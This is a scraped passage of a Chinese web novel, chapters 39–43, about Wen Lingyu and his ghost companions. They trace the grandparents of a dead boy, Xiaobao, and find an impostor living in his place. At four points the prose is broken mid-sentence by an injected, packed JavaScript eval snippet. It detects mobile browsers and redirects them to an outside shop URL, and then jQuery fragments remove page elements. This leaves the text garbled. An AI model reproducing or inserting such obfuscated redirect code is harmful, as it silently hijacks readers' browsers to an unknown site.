阿辛转变得很快，听这么说也就不坚持，果断附和：“那就去看看，只不过阿羽，你这趟我们只能在外面等你了。” “那就等我的好消息吧。” 39.缘分解语 “你们不是说不跟过来吗？” 刚下出租车，温令羽就听到阿辛带着一老一少，跟在他后面嘀嘀咕咕，明明是悄悄过来的，一点不知道掩饰。 听这话，阿辛立马举手作投降状，表示不管自己的事情，“我可并不想来，但他们两个不识路。” 往来车辆只能停在龙青山山下，徒步上山，青山庙就选址在这。 温令羽来过这里，知道上山的门在哪里，下了车直奔大门而去。 阿辛带着人往售票处去，看到温令羽去另一个门，赶紧叫住他，“阿羽，这边，要买票的。” 温令羽脚步一顿，有些不可置信地转身，“你认真的吗？” 几年没来，这竟然成了旅游景点，明明之前是个连爬山都嫌累的地儿，反倒是青山庙长久香火茂盛，络绎不绝。 “谁让我们这里没什么地方可去，只有这座山，不过你身份证带了，票价就五块钱。”阿辛生前没怎么来，死后时不时来转一圈，知道得多。 确实和记忆中有不同，在原先的另一处无人地方，新出现了一个售票处。 老远看过去，售票处那里排了长队。 温令羽排在队伍最后，门票工作人员的动作快，一下子就到了自己，递过身份证，确实是本地的，接着扫码付钱，拿到了门票。 门外工作人员指向新的入口，这是新建的，建得好看，吸引了不少外地人来拍照。 “那是不是？”小男孩看到了不远处的虚影，那是新出现在这里的鬼魂，因祈愿而重回世间。 或许是看到熟悉的场景，小男孩记起来了，“我当时也是在这里，然后被一位大哥带到了鬼小馆。” 这些话，在场的人都听了清楚。 阿辛拉住了温令羽，自己像是抓住了什么，“阿羽你看看，这就像是网游复活点，完全没办法找到人。” 如此描述，还真有点道理。 温老站在一旁，说道：“来都来了，票也买了，先进去看看吧。” 然后，温老一手拉着一个，催促温令羽赶紧进去。 “别磨蹭了，快进去。” 鬼魂自这道门起，就再也进不去，接下来的路要温令羽自己进去。 青山庙在最里头，与龙青山的绝美景色是分开的，恰好是另一条路上，同行之人全是去青山庙的。 温令羽边走边逛地往目的地去，他正看沿路小溪里的小鱼儿，迎面就撞上一个抱着小孩的阿姨，小孩正甩手里的玉牌子玩，打到了温令羽身上。 “不好意思，小孩子不懂事。”说着，阿姨把玉牌子拿回去收在口袋里，一个劲儿和温令羽道歉。 温令羽摆摆手想说没关系，这么近的距离看清了对方的脸，竟然是阿辛的母亲，在学校典礼上发言见过她。 下意思往周围去看，这里只有阿姨一人，她抱孩子，东西也是自己在拎。 温令羽回道：“没关系的。阿姨，你是自己一个人带着小孩子过来吗？” 阿姨一开始还有些怀疑，但看温令羽一脸真诚地问，想到了自己的大儿子，一切防备在一瞬间卸下来。 “青山庙最灵验，你真的来对了！”阿姨是这里的常客，一有时间就会过来。 温令羽眼一亮，像是被说动了，但又装作留有一番顾虑，说道：“真的吗？其实我是本地的，但都没听说过，真有这么灵验？” 阿姨见他不信，她将孩子换了个方向，势必要和温令羽好好说道说道，用另一只空手拉着温令羽，带他到一旁的凉亭里面。 “我其实有个大儿子，前几年出了事故人没了。五六年前我丈夫带我过来找大师开解，你知道怎么样了？心里渐渐好受多了，就像是我大儿子回来了一样，陪在我身边。” 那是你儿子真回来了。 温令羽在心里悄悄补上这么一句话。 阿姨沉浸在自己的情绪里，谈到自己失去的孩子，久久无法走出来。 抱在怀里的孩子感受到母亲的悲伤，一下子哭了出来，小儿子的哭泣让母亲暂时忘记了哀伤。 “我的小孩子去年出生，感觉我的大儿子重新回来了。”阿姨缓了过来，她看了看时间，“心诚则灵。时间不早了，我也要回家了。” 温令羽向她道了谢，目送对方往山下走，自己则是继续往上走。 站在青山庙前，庙门口的打扫人员走上来，问道：“你过来是？” 温令羽闻言，如实回答道：“听说大师灵验，我想来求见大师。” 不少人听说过大师，来求见者数不胜数，凡事总讲究个缘分，无缘哪怕是见了大师也没有用，有缘自然能心想事成，答疑解惑。 “大师已经休息了，改日再来吧。” 不清楚这是推脱之词，还是真话。 温令羽说：“那我进去拜一拜，总不会白来一场。” 听温令羽这么说，不再阻拦，继续清扫庙前的落叶，还有游客留下来的垃圾。 他的动作也表达了他的意思。 温令羽朝他鞠了一躬，然后跨过门槛走了进去。 这个时候庙里没多少人，温令羽进到大殿拜了拜，出来后跟着其他人到了另一处。 地方越走越偏僻。 温令羽鼓起勇气，快走几步叫住了前面的人，“我们这是去哪里？” “出口就在这边。你是第一次来？”对方一脸疑惑地看过来。 温令羽是小时候跟父母长辈来的，早就没有了记忆，与第一次来的没有区别。 于是，温令羽点了点头，承认了自己是第一回来。 对方如有所料地回应道：“我猜到你是。传言不走回头路，大家便跟指示都往这边走。” “那这边怎么这么偏？”两人说话的功夫，周围的人又少了一圈。 “来青山庙要看时辰，这个时间不是适合参拜的，当然人就少了。”对方心里十分遗憾，“我外地的，再不来就不知道下一次是什么时候了。” 青山庙附近的没有修剪，保持原生态。 只是重新开了一条适合下山的路，温令羽与对方结伴出去。 “请问先生是姓温吗？”突然有人在身后叫住了他。 温令羽心存疑惑，但还是如实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温令羽给自己狠狠灌了一杯水，温老在他身后嘲笑他，“有这么夸张吗？” 温老的声音是哑的，一点没有说服力。 温令羽十分没有眼力见，戳破他，“你要不听听你自己的声音再说话呢。” 温老坐在沙发上翻了个身，背对温令羽，意思很明显，不想和温令羽说话。 这场面，温令羽被逗笑了，脑海中突然想到今日他遇见阿辛母亲的事。 不出意外的话，阿辛肯定是看见了。 “你们今天在门口等我，有没有见到谁啊？”这话有导向性，还不加掩饰。 温老冷哼一声，没好气道：“见到了，你想问什么？” 还在气头上。 温令羽戳了戳温老的后背，“你以前不是这样的，现在怎么这么容易生气。” 记忆中的温老，善解人意，哪像现在这么任性，容易生气。 “你再说？”尾调上仰。 40.寻找援手 “你遇到了？” 闹了一会脾气，温令羽也不搭腔，温老自己唱独角戏也觉得无趣，便提到正事上来。 温令羽点了点头，“在路上遇到的，来门口现在就一条路，其他都还在建。” 毕竟是近几年的建设工程，再急需要时间，为了修建长久不开放又不行。 现在就是这么个结果。 听温令羽讲了经过，温老是明白了，沉默了几分钟，回答了他前面的问题，“他看见了，其实就嘴上说说，心里还是介意。” 温令羽记得阿姨说到大儿子时的悲伤，不由得感慨：“阿姨也很想念阿辛，说到他眼泪都止不住。” “这些事需要他自己想开。”家长里短的事最难说清楚，旁人也是最难管的。 照着小男孩的容貌，凭借生疏又潦草的画功，画了一张大概图，按这个大概的样子在各处寻人启事照片上开始找。 从网上寻人网站开始，这样找得快。 可以筛选着来看，画像太潦草，就让正主来，就站在自己面前，眼对眼，鼻子对鼻子。 全都对上了，就能在寻人启事上找到联系方式。 为了方便温老和阿辛找人，温令羽提前将网页上照片成串截图下来，打印出来让他们看。 “我眼睛都要看花了，”温老先一步叫了暂停，老人家本就老花，如今更是看不得这么多了，又多又密集。 阿辛直接给温老倒了杯茶，过来接替他的班，“老先生您先去休息，我马上结束了就看您这一份。” 温令羽自己手里都有好几个网站没看，没空管温老和阿辛那边的情况，要不然看见了肯定要说。 “阿羽，我和老先生这里面都没有，你那有没有收获？”阿辛连同温老那一份一起汇报的，一无所获的结果不需要分两次来说。 温令羽同样没找到，他疲倦地揉了揉眼睛，倒在了书桌上，有气无力地说道：“我看了这么多，有相似的，但总有不一样的。” 世界上长得相似的人是很正常的，何况还是孩子时期，但要完全一样的可能性，非常小。 明明鬼魂感觉不到累，但在耳濡目染之下，也有了这样的感悟。 阿辛躺在沙发上，头靠枕头看电视，听到温令羽这么说，想附和他。脑子却是一刻不停地转，突然间，抓住了一闪而过的灵感。 “是不是我们找的方向不对？小孩走丢这么多年，以前网络不发达，都是登报纸的。”阿辛说干就干，准备去找报纸。 穷举去找答案。 或许是行得通的，但太难搏了。 温令羽拦住了阿辛的动作，“现在就我们几个人，去找报纸你怕不是疯了？” 阿辛正为之前的事情介怀，对于不容易找出来的方法，不想就这么放弃。 一人一鬼在拉扯。 温老已经休息好了，精神气也恢复过来。 “可以去鬼小馆看看他的登记时间，然后再去推测年龄，就可以缩小范围。”温老不愧是温老，给的方法就是中肯又实用。 该提议获得全票同意。 “那现在是不是得你们两个去了？”鬼小馆的资料只有鬼能翻阅，温令羽除了就看表面这么一张，任务进程进度缓慢。 阿辛和温老反应了过来，连出门的动作都缓慢了不少。 温令羽就只负责告知，不给反悔的机会。 一行人赶到了鬼小馆，这个点是最热闹的时候，看见温令羽找他有事的手势，也空不出手来。 来点饮料排队的人全围在吧台，一个空位置都没有。 “等一等吧。”温令羽不打算动用店长的权利。 顾客优先，顾客至上。 阿辛给他竖了个大拇指，表扬店长的绝佳觉悟：“好样的，有这样的思想肯定是能干大事的。” “吹得过了哥。”温令羽笑着打趣反驳他。 干站着等容易累，大厅里吃饭品饮的座位都被坐满了。 阿辛也注意到了这情况，他想了想，“去包厢吧，不然去店里等？” 店铺离大厅的位置太远，要绕到走廊分区那一块，还得走进去，当时考虑到其他的店铺设立，就把店放在里面。 温令羽思考了片刻，“包厢吧，看看有没有空的。店太远了，他过来要不少时间。” “包厢肯定有空，谁没事爱坐包厢。”阿辛十分肯定。 阿辛还生怕温令羽不信，随便一开，果然里面是没有其他鬼，温老和温令羽也不挑剔，选了这间就确定下来。 坐了一个多小时，门被敲响了。 得到了里面的回答，酒保推门进来，“老板久等了，刚刚太忙了。” “现在空闲下来了？我的事没这么急。”温令羽并不想影响他们的工作营业。 酒保是新来的，以往的资料档案他只知道个摆放地方，具体资料内容是不清楚的。 于是，温令羽他们被带到顶层，一层层货架上面摆满了文件，最外面的架子空的，零零散散放了几本。 “都在这里了，以前的没整理过有些乱，可以需要费一点功夫。”酒保不能在上面留太久，嘱咐了几句后就回了岗位。 温令羽看看阿辛和温老，“干活吧，我给你们加油。” 阿辛随便从最里面的架子上抽了一本，为了对比，还拿了另一本，时间是不对的，不按照顺序来的。 “果然是乱放的。”阿辛边吐槽边看到。 温老也过来看，这个登记档案不似如今，现在的资料非常全面，把很多项都列出来了，以前最多记录一个名字。 温令羽记得小男孩住的位置，说道：“他应该是近十年来的，太潦草的太久之前的就不用看了，名字虽然不是真名，但是最起码知道他是哪一年来的。” 幸运的是，十年的跨度很大，最开始那几页依旧记录不全，但好在越到后面越仔细。 而且有一点相同，全部把任务完成与否记录上去，这样子的范围就缩得更小了。 可尽管把筛选条件放在这里，面对庞大的搜索对象，一晚上的时间全丢下去，一个响都听不见，还把阿辛和温老困出了两个大大的黑眼圈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097439|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中途休息，阿辛和温老下楼去要了吃的喝的，用来补充体力。 酒保将手调饮品递了过去，白天事少人少，他轻声对温令羽说道：“老板，要不然你招聘个帮手吧，就贴在店铺门口。” 温令羽有些怀疑，任务工程量太大，不一定会有人来。 “这能行吗？” “肯定啊，你把要做的事情以及帮忙人数全写仔细，贴在门口。大家都知道你在忙的事，都看着的。” 贴出去还不到一天，就有十几个人来报名，主要是在档案室找个名字，没有技术难度，干脆跳过面试笔试阶段，直接上岗。 效果确实显著。 三天时间，从堆积成山的文件中找到了关键性的一页。 小男孩登记的名叫小宝，是当时带他过来的人登记的名字，在七年前。 阿辛手里拿着那薄薄一页纸，小宝的信息比其他人来得要完整，自言自语道：“这登记得很全，不知道是谁这么未卜先知，记得这么好。” 这话吸引到了酒保的注意力，他也凑过来看。 右下角写了一个名，但字体写得花，认不出来到底写了个什么字。 阿辛还在努力辨认中，酒保先他一步认了出来，“这不是我师傅的名字吗？他就是这么写名字的。” “你师傅是谁……”阿辛嘴快，顺嘴就问了，下一秒自己就记起来，上任酒保就是他师傅。 在场的此时此刻脑中都有个问号，为什么是上任酒保带回来的。 这个职位是不会离开鬼小馆的，外出是几乎不可能的事情，除非有换届离开的时候，其他人不知道，但温令羽和阿辛他们清楚。 七年前，上任酒保还在任职期间，没有换人更没有发生什么大事。 绝不可能是他从龙青山带人回来。 整个气氛安静了好几分钟，酒保以为是自己说错了话，“我没说错。可能是我师傅看小宝他可怜，就把他收留回来了。也只有鬼小馆里的人才会把其他鬼带回来。” “而且这不是重点，你们不是要找小宝的家人吗？”酒保确实是精心选中的，要不然不会在这种时刻还能记住任务。 温令羽在上面看到具体时间，往前数了好几年，终于是在本市的新闻报纸里翻到了寻人启事。 校对过照片，与小宝现在的样子长得一样，年龄也合的上。 温令羽松了口气，能把电话和地址找到，距离能把人找到就很近了，正为它感到庆幸。 但是，阿辛慢慢地看上面的资料愣了神，“这是不是说明，小宝在走丢后不久就出了事。” 此话一出，全场都安静了，连温令羽的呼吸声都变小了。 “好了好了，现在我们已知小宝就是想找到他的爷爷奶奶，七年过去，还不知道在不在？”温老将他们从情绪中拉出来。 温令羽忐忑不安地打出报纸上列的电话，这关乎小宝，太重视也就太紧张。 阿辛和温老凑在电话边，想听通话结果。 见状，温令羽将听筒模式改为免提，让温老和阿辛都能听到。 41.白费力气 “你好。” 电话是通了，另一头的声音却不对，稚嫩的男声表明这就是个小男孩，与他们要找到七旬老人完全搭不上边。 “不好意思，我打错了。”温令羽将电话挂断，重新确认了一边号码，与报纸上写得一模一样，应该是没错的。 阿辛也奇怪，接电话的明显是个小孩，“要不再打一个？可能是家里小孩不小心接了。” 执着于这个号码，无非是再没有其他办法了，而且登过寻人启事报，想让孩子安全找回来，自然是不会轻易去改这个号码的。 于是，温令羽又拨了过去，另一头的人依旧没变。 “我们是在报纸上看到电话的，是你家里大人的吗？方便接电话吗？”温令羽问道。 对面一开始没说话，突然变得强硬起来，“你打错了，这个号码就是我的。” 话说到这份上，温令羽也只能暂时放下这条路，转而去关注上面登记的地址，放在地图上一搜，地方离这里不远，但就是很偏，要转好多趟。 近期不忙碌有时间，温令羽简单收拾了一番，只带上阿辛，把温老留在店里看顾，免得都出去了会出事。 店铺里常有人光顾，不能没鬼看着，阿辛身强体壮，比起温老年龄岁数摆在那里，他更适合同温令羽赶路找人，这种苦活累活。 说是这么说的，可阿辛因没去过，坐在车上非常兴奋。 温令羽都睡了好几觉了，阿辛还睁着他一双大眼睛，东瞧瞧西看看的。 车停在镇车站里，显示去写的地址要驾车或是步行。 温令羽和阿辛在车站门口转了一圈，还等待了半个小时，出租车没瞧见一辆，等待中途曾打开手机上的软件查询过，甚至都没有开通打车服务，软件显示不在服务区，要乘客换个地方。 “司机大哥，这附近旅店在什么地方？”新的班次车要从镇上到城里，刚从门口开出去，就被温令羽叫住了。 大哥是本地人，他给温令羽指了个旅店，是附近最近的。 “近的话，就前面的路口左转，到马路上就能看见了。”大哥十分热情地回答。 温令羽还拿着行李，势必是要住一晚的。 三个小时后，最后一班出镇的车就会出发，短短时间里不能保证找到地址，因为上面只写了村镇，具体门牌号是没写上的。 安顿好行李之后，阿辛想提高效率，便建议分开找，“镇上就一条街，不然我们分开找。” 温令羽想了想答应，但阿辛不能向他一样找，“我去问问镇上的村长，你去找这里的鬼朋友，要是对方在这里生活的时间长，必然是知道的。” 一般来说，鬼的寿命比人得长，那么自然有可能知道不少的事情。 镇长办公的地方好找，跟随门口指示就能找得到。 “镇长在吗？”地方很小，小平房里就几间，但门口有人值班。 值班的人听到声音，先是探头看了一眼，确认过眼神，不是这个镇上的，“你不像我们这里的？” 温令羽不意外被认出来了，“我是外地的，有事想来找镇长。” 说着，温令羽还指了指房间门口挂的指示牌子。 “镇长外出还没回来，你后天过来找吧。” 温令羽来的日子不对，碰上了镇长外出开会，要好几天才能回来，但温令羽根本等不起。 就在他原地想办法的时候，对方也注意到他迟迟不离开，以为是有急事，没急着赶人，“你找镇长什么事情？急得话我试试打个电话。” 温令羽从书包里翻出了那张报纸，讲了此行的用意，“找到了和那个孩子，我便想来告诉二老消息。” 小宝的父母出了事故撒手人寰，只留下孤寡老人和无知小儿。 新闻或许是想激起世人的同情心，特意把这一点写上，能多搏些关注，争取早日把孩子找到。 对方看清了报纸新闻上的日期，有些吃惊，这么多年还能找回来真是奇迹，“孩子能找到是一件大好事，这个名字我查一查。” 对方十分助人为乐，一听说是这样的好事，也想帮个忙出个力。 寻人启事上写了找寻者的姓名，都是同一个镇上的，尽管他晚了几年到镇上工作，凭名字依旧能查询得到。 气势汹汹正准备大干一场。 “这家的孩子不是早就找回来了吗？”这家老人他知道，每年贫困探望的时候，总是会去他家跑一趟，两位老人拉扯一个小男孩长大，着实是不易。 温令羽第一反应是找错了人，“不可能，什么时候找回来的？” 本来是不准备说的，但见到温令羽这么笃定，一时间也开始怀疑自己，或许其中真有什么苦衷和蹊跷不可。 “不信的话，下午五点后我领你去他家看看。他家那个孩子晚了几年上学，去年刚申请过贫困生，就是我负责的。”他曾接触过，尽管有片刻动摇，但还是不信。 虽然工作人员的话出乎意料，但也从另一方面说明，他们没有找错地方，人就在这里。 既然有人会带路，温令羽就去找阿辛碰头，准备等他五点钟下班后再直接过去。 从办事处出来，直直撞上阿辛，他正在到处飘，一下子到温令羽跟前来了。 任凭谁来，第一反应都会是阿辛有了新线索，温令羽便让他先说：“你找到什么，问到什么了？你先说。” 令人失望的是，阿辛摇头的动作干脆又利落。 “我一个鬼都没瞧见，这个镇太小太偏，没有鬼游荡在这里。”阿辛又接着补充，“这里离鬼小馆也就一天的路，很少会有鬼选择待这里的。” 阿辛一无所获，温令羽只好把他找到的消息共享给他。 “他说那家找到孩子了？”阿辛一下抓住话里的重点，但却不由得让他怀疑，“但小宝确实和上面长得很像，连描述特征上也对得上。” 温令羽也同意。 他们是非常确定，才赶到了这里，若真有这么巧合，两个孩子在特征上这么相像，那就只能认了。 五点左右，温令羽主动等在办事处门口，就等工作人员出来带他去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128130|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说定的事情不好反悔。 温令羽也是怕对方就这么走了，他和阿辛还拿他没辙。 好在对方很讲诚信，还让温令羽和阿辛乘坐他的三轮车一起过去。 “那家在最边上，搭我车去吧。” “那就麻烦了。” 能住在镇上这条街的，都是家里条件还可以的，还有一些人，会在镇的最边上，从街上开车过去都要十几分钟。 阿辛悄悄在温令羽耳边嘀咕，“怎么镇的附近还有一个村子啊。” 街上的叫镇，边上的叫村。 只不过这个镇太小了。 三轮车直接骑到家门口，下班这个时间点，恰好这家人也务农回来了。 工作人员有些不好意思说道：“下午五点之后，地里干活的都回来了，要不然来了也是没人的。” 好像是一句解释的话。 “所以你等很久了吧，实在是不好意思。”工作人员又接着。 这些话反倒搞得温令羽过意不去，他回道：“没有很久，感谢你带我们过来，要不然是知道地址也赶不过去。” 没有车，简直是寸步难行。 对方态度简直是一百八十度大转弯，而且这个解释，也是没必要，说出来却是奇怪了。 话里有话，对于体制内是最正常不过的，几乎是下意识就反应过来。 “我打电话给了我们镇长，他说让我好好招待你，一定要带你过来，虽然他没说原因。”遇到这种事，问一问镇长是正常流程。 原本是想解惑，现下却是被搞得一头雾水。 以为是很快的，四五点田里干活的人陆陆续续都会回来，这一家到了六点半，还没有回来的迹象。 温令羽一行人就这么等在屋外，已经回来的邻居见状都会问：“小许，你身边这位是谁啊？” “来找葛爷爷的，你有在田里见过吗？”确实是等了很久，问他们刚回来的人。 田地都分在一块，邻居自然是看到葛家大家子人都去了，“看到了，他的小孙子都去了，还要几分钟才回来。” 这段对话反复不断重演。 温令羽也就一直等待这么几分钟，直到六点半才从不远处听到对话声，周围的房子都已经亮起了灯，这声音也只会现在他们正在等的。 “小宝，你的作业写完了没有？奶奶觉得小宝还是待家里好。” “已经写完了，我要和爷爷奶奶一起去，我可以给爷爷奶奶指路。” “真乖，回去就给小宝煮东西吃，想吃什么和爷爷说。” 三人回来就看到两人等在他家门口，爷爷和奶奶的眼睛已经看不清楚，只能模模糊糊知道是有人。 “小宝，谁站在家门口啊？”葛奶奶问她的小孙子。 “葛爷爷，葛奶奶，我是小许。我是有事来找你们。”小许知道二老耳朵不好，特意走到他们面前说的。 温令羽和小许架不住二老招呼，只能先进去。 “先别说。”本来还着急的温令羽，拉住了小许，制止了他。 42.旧人重逢 说了这顿饭可能就吃不下去了。 足够相信面前这位小宝绝对不是，那么不如让他们一家子安安稳稳地把饭吃了先，干活这么累回到家，只有一顿热腾腾的饭菜可以治愈。 面对小许疑惑的目光，温令羽说道：“他们干活这么累，先把饭吃了，事情不着急说。” 小许心里一想确实是的，便让葛家二老先把饭做了，吃好了再聊。 葛家虽比不上其他家的小洋房，但小小两层土房子打扫得干干净净，只是外面看着破烂，里面已经重新粉刷过，家具设施齐全且干净。 温令羽和小许在做饭上帮不上忙，坐在客厅干等又不好意思，干脆就到门口去等，还能吹吹冷风。 “你是从哪里过来的？”小许有些无聊，便找温令羽搭搭话，打发时间。 温令羽实话说了，对比这里，确实是从大城市过来的。 果然，小许语气中有羡慕，“大城市，真挺好的。我是定向分配到这里的。” 两人东拉西扯地聊了几句，直到被葛大爷的声音打断了，葛大爷出来叫两人进去吃饭。 “饭做好了，一起进去吃，不要嫌弃家里的菜不好。”葛大爷几乎是硬拉小许进去的，还十分谦虚。 温令羽倒是想推辞，奈何葛奶奶也出来了，热情招待下，任何人都无法拒绝。 二老正在盛饭，小许看出温令羽的窘迫，他安慰道：“村子里的人都很好，葛大爷这一家更是出了名的热心肠，这顿饭你就安心吃吧。” 饭桌上，葛家二老除了给两位客人夹菜，把好东西都留给了他家小宝，呵护异常。 小许是最早放下碗筷的，吃完后一直在陪葛爷爷，时不时问几句家里或是身体的情况，把村民干部的形象牢牢竖立在民众的心里。 温令羽跑了一整天，这顿饭已经超出平时，但等他放下筷子，餐桌上还有人没吃饱。 葛奶奶一边给小宝夹菜，“今天累到小宝了，吃这么多。” 盛的是第三碗米饭了，虽然饭没有装满，但到底数量摆在那里，对比小宝的小身板，绝对是要吃撑的。 可村里人都更贯彻“能吃是福”的观念，殊不知放纵饮食是祸端，更需要严加注意。 小许并不想插手，但看葛奶奶装第三碗，制止了他，“小朋友晚上不要吃这么多，对身体不好。葛奶奶还是别给小宝装了。” “小许懂得多，要是还饿的话，晚上再煮些东西吃。”葛爷爷信任小许，站在他一边帮忙阻止。 就在双方争执不下时，小宝打了个饱嗝，自己说：“奶奶，我已经饱了不想再吃了。” 孙子都发话了，葛奶奶哪会说不，还是担心小宝，重复问过几遍后，才打消了继续的念头。 晚饭后，葛爷爷把温令羽和小许安顿在客厅，自己还要再去厨房，“你们两个先坐，我先帮我老伴洗个碗，不着急吧。” 得到了肯定的答复，葛爷爷直接去厨房帮葛奶奶打扫卫生。 他前脚刚走，小宝后脚从房间门缝里探出个脑袋，“哥哥，我有道题不会，你可以教一教我吗？” 这声哥哥，温令羽和小许一同站了起来，异口同声道：“哪一道？” 话落，温令羽和小许相互对视了一眼，然后扭头重新坐回沙发上。 小宝指了指温令羽，“我在问这个哥哥。” 小许不觉得有什么，还帮着小宝一起催促温令羽过去。 小宝的房间床很小，上面被子都叠得整整齐齐，最不和谐的就是他家的书桌，由于刚写作业，上面的东西杂乱无章，完全不似其他地方整洁。 温令羽站在小宝后面，迟迟未见他找题目。 “你是哪道题有问题？” “你就是前不久打电话来的人是吗？” 猜测的疑惑被验证，果然那两通电话是由面前这位“小宝”来接，当时欺骗的话语，是否有内情尚在调查中。 温令羽肯定地答复他，也戳穿了他的谎言，“我就是，那个电话也是你骗我们的。” 话音刚落，“小宝”猛然一僵，身体不自觉开始摇晃。 温令羽在后面不知道前面的情况，担心前面的情况，三步并作两步走到了“小宝”面前，对方在哭。 故事走向越来越不对。 阿辛面对小孩子哭就没辙，手足无措是常事，他拉住温令羽的手臂，“怎么办？他哭了。” 两边的身体吵得温令羽头疼，他悄声嘱咐阿辛声音轻一点，自己则是去找“小宝”。 等对方情绪冷静下来，温令羽才敢开始问：“你既然知道这些，我就不多说了。你能告诉我你是谁吗？” 眼前这人分明就知道自己不是葛家孙子，却在这里多年，用意谁也不知，必要有所防范。 “小宝”先是把房间门反锁了，听见了锁扣落下的声音，他才放下心，肯主动坦白。 葛家二老自从把孩子弄丢后，几乎是天天以泪洗面，每日都到街上去发寻人启事，抱着渺茫的希望在人海中寻找孙子的人影。 但年龄岁数逐年在增加，身体大不如前，一边要养活自己，一边又要在找人上花大笔钱。 精神和身体上受到双重伤害。 而就在这时候，有人带了个小孩上门，说是找到了葛家小宝，这个小宝就是站在他们面前的“小宝”，“小宝”他也是被自己家里人抛弃的。 “那你本名叫什么？”若有了名字，或许还有一丝希望，温令羽还是想帮他一把。 “小宝”早不记得他自己的事情，“我现在的名字叫葛小宝，姓葛。” 突然，阿辛叫了一声，“酒保大哥。” 早说要旅游的酒保大哥，却出现在这个小镇上，他的出现正表明里头的名堂绝对不简单。 “你们终于来了。”酒保大哥对他们说的第一句话就是这个。 料到他们会来这里。 温令羽还想继续追问，酒保大哥留下“等下见”的话就穿墙消失了。 “他这是在旅馆等我们，他早就看到我们来了。”阿辛这时候也猜到了。 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139685|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令羽用点头动作回应阿辛。 见到他迟迟不讲话，“小宝”也着急起来，要是不能说服温令羽，在葛家二老面前捅出事实——他并非是他们孙子，他便连家都没有了。 真正的小宝已经死了，真相只会给活着的人带来痛苦，何况承受痛苦的是两位老人，实在是狠不下心去说。 更何况小宝的意思他们还不知道，确实不宜现在就对二老说。 温令羽说道：“我可以先暂时不说，你……” “谢谢。”生怕温令羽反悔，“小宝”几乎是话出口的下一秒就答应了。 出了房间门，小许正和二老说话，“说了这么久，题目一定是弄懂了。” “小宝”乖巧地点了点头，然后跑到了二老身边，说了几句，把他们逗笑了。 见状，温令羽松了一口气，他也该和小许通个气，早点回去，“许哥，我刚刚想了想，葛爷爷葛奶奶岁数这么大，我下回试一试能不能把当事人带来认亲。这次人都没带来，口说无凭就不说了当认个路，免得说了让老人家多想。” 小许这么一听，也觉得对。 万一搞错了，老人家太激动挺不过去，可就是害人了。 “要不要带点头发什么的，去医院验个DNA，电视剧里都这么写的。”小许想着来都来了，总不能蹭顿饭就走，比如再带点头发什么的。 带去也没用。 温令羽根本拿不出另一方的，只能打个马虎眼，“太显眼了，下次来若有机会，直接带老人家去医院。” 有了小许的掩护，温令羽只当是他的小助理，两个人下村来关心村里人的生活，表达委员会的关心和爱护。 温令羽回到了住的旅馆，酒保大哥就坐在沙发上等他们两个，一看他们的样子，心里就能确定了，肯定是没有和葛家二老说的。 “你怎么会在这里？”饶是问题很多，温令羽也准备慢慢来，一个一个问清楚。 酒保大哥不急不慢给自己和阿辛倒了杯水，先是让阿辛休息一下，“下午找鬼不容易，叫渴叫累了，喝点润润喉咙。” 阿辛是鬼，喝不到现实中的水源。 要是不问不说，阿辛早就忘了口渴的感觉，但酒保大哥讲了，阿辛也觉得自己喉咙有点干巴。 两只鬼将一杯矿泉水瓜分干净，酒保大哥才开始回答温令羽的第一个问题：“我家就在这里，辞职了之后当然就回来了。” “那你为什么认定我们一定会来这里？”这个才是重点，上一个只是“开胃菜”。 这个时候，温令羽脑海中闪过的竟是档案室里找到的资料，小宝是酒保大哥带进来的，而此时酒保大哥的话印证了温令羽的猜想。 酒保大哥知道小宝的爷爷奶奶就在这里，小宝留在世上唯一的亲人就是祈愿者，也是把小宝召唤回来的人。 爷爷奶奶的祈愿是想小宝快乐以及能和他的父母团聚。 重新与父母一起是小宝的所愿，却成了爷爷奶奶的祈求。 “那你知道为什么不早说？” 43.弥补遗憾 “这不是还有你在？我又瞎操什么心，纯纯多此一举。” 酒保大哥甩锅干得得心应手，把任务全系在一人身，事不关己高高挂起的打算，表面看上去丝毫不觉得有什么。 阿辛对酒保大哥的滤镜在此刻碎了个光，太过激动，半天说不出一句话来，良久终于是找到了自己的声音，“你明知道小宝的情况，为什么不说？你作为知情者故意隐瞒，太过分了。早说小宝也不至于一个人孤苦伶仃的。” 